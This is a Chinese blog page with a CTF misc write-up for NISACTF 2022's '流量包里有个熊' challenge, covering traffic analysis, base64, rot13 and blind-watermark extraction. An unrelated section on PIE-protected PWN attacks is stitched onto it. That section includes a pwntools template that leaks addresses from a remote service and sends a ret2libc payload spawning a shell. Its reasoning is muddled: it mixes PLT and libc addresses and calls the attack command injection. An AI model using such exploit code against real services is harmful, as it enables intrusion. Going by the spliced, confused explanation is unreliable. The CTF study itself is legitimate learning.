[NISACTF 2022]流量包里有个熊

[NISACTF 2022]流量包里有个熊

一道很综合的题,不是很难

根据题目名称,可以大概猜到流量包里面藏了什么东西

image-20240319084446660

一张图片

image-20240319084840593

丢到010里面看看

image-20240319084932396

没有收获

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

foremost出来没有东西,binwalk的话很不巧kali正在更新用不了

一顿隐写操作没有任何效果

只好请老祖出山

image-20240319085955961

image-20240319090040014

一眼base64

image-20240319090152616

呵呵,果然

打开rar文件

image-20240319090249029

外面文件夹叫作好像有个小爱心?但是没有任何东西

image-20240319090422153

flag.txt的内容是这样的

我们可以联想会不会这是某种格式文件数据,正好开头的SS让我们想到JPG图片的开头FFD8FF

SSQ8SS对应,毕竟没有其他格式以双相同字母开头的了

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可是这么多怎么解呢,比较厉害的同学可以试一逝

ff556bb23babb726c93943c0643e761

于是我们可以试试把它简单化

image-20240319091528202

好像没有用,刚刚唯一的思路也没有了

那么再回到那29578个字符的文本里面

首先考虑位移密码

image-20240319092717929

rot5和rot47不考虑,那么试一试rot13

因为F到S正好是差了13位

image-20240319092337384

from string import maketrans

rot13trans = maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 
   'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm')

# Function to translate plain text
def rot13(text):
   return text.translate(rot13trans)
def main():
   txt = "ROT13 Algorithm"
   print rot13(txt)
	
if __name__ == "__main__":
   main()

ROT13加密/解密 - ROT13编码/解码—LZL在线工具 (lzltool.cn)

image-20240319093005885

很好,基本出来了

010 ->新建十六进制文本->粘贴自十六进制

image-20240319093249136

找到了前面说的爱心

image-20240319093516721

常见隐写跑一遍

foremost

image-20240319103758050

binwalk

image-20240319105740501

一直想试试这个来着,但好像并没有什么用

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最后发现是盲水印

image-20240319110017860

吐槽一下,这flag是真的看不出来

Python脚本的话

import cv2
import numpy as np
import matplotlib.pyplot as plt
img = cv2.imread('111111.jpg',0) #直接读为灰度图像
f = np.fft.fft2(img)
fshift = np.fft.fftshift(f)#将图像中的低频部分移动到图像的中心
#取绝对值:将复数变化成实数
#取对数的目的为了将数据变化到较小的范围(比如0-255)
s1 = np.log(np.abs(f))
s2 = np.log(np.abs(fshift))
plt.subplot(121),plt.imshow(s1,'gray'),plt.title('original')
plt.subplot(122),plt.imshow(s2,'gray'),plt.title('center')
plt.show()

我试的绝对路径失败了

image-20240319111514824

清楚一点

总结

这道题不难但是涉及的地方挺多的,根据SS猜到FF开头的JPG再想到rot13就体现了典型的MISC思想,虽然有更抽象的(

正好把我之前丢失的盲水印脚本补回来了

### 关于PIE保护机制下的PWN攻击实例 在存在位置无关可执行文件(Position Independent Executable, PIE)的情况下,程序加载地址会在每次运行时被随机化。这增加了利用漏洞的难度,因为传统的返回导向编程(ROP)依赖固定的基址来计算目标函数或gadget的位置。 然而,在某些情况下仍然可以实施有效的攻击策略。例如,在未完全启用RELRO的部分程序中可能存在动态链接表(Global Offset Table, GOT)条目重写的机会[^1]。对于这类情形,可以通过泄露库函数的实际地址并结合偏移量找到系统调用或其他有用功能的确切位置。 当面对开启了PIE但其他安全措施较弱的目标时,一种常见的方法是通过信息泄漏获取当前映像基址,之后再构建针对特定版本二进制文件已知布局的payload来进行控制转移。下面给出一个基于`ret2plt`技巧的具体案例分析: #### 实战演练:CTF挑战题目的解析 考虑一道名为“ezpie”的题目来自NISACTF 2022竞赛[^2]。此题提供了一个易受攻击的服务端应用,它虽然启用了PIE特性却未能充分设置栈溢出防护机制。这意味着如果能够绕过ASLR的影响,则有可能实现远程代码执行。 为了完成这一任务,选手们通常会采取如下手段之一: - 利用格式字符串错误读取内存中的关键数据片段; - 或者借助UAF (Use After Free) 缺陷间接访问已经释放的对象结构体成员变量; 无论哪种方式获得的信息都可以帮助定位libc.so及其他重要模块的真实起始点,从而为进一步规划rop chain奠定基础。 ```python from pwn import * # 建立连接至服务 conn = remote('target_ip', port) # 发送恶意输入触发缓冲区溢出条件... conn.sendlineafter(b'prompt:', payload) # 接收响应包内含潜在有价值的指针值 leaked_ptr = u64(conn.recvuntil(b'\n').strip().ljust(8,b'\x00')) log.info(f"Leaked pointer @ {hex(leaked_ptr)}") base_addr = leaked_ptr - known_offset_from_libc_base_to_leak_point system_plt = base_addr + offset_of_system_in_libc bin_sh_str = base_addr + offset_of_binsh_string_in_libc final_payload = b'A'*offset_until_retaddr \ + p64(system_plt) \ + p64(ret_gadget_if_needed) \ + p64(bin_sh_str) conn.sendline(final_payload) conn.interactive() ``` 上述脚本展示了如何与远端服务器交互,并尝试构造合适的载荷以期达成命令注入的目的。当然实际操作过程中还需要根据具体情况调整细节部分如偏移量等参数设定。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值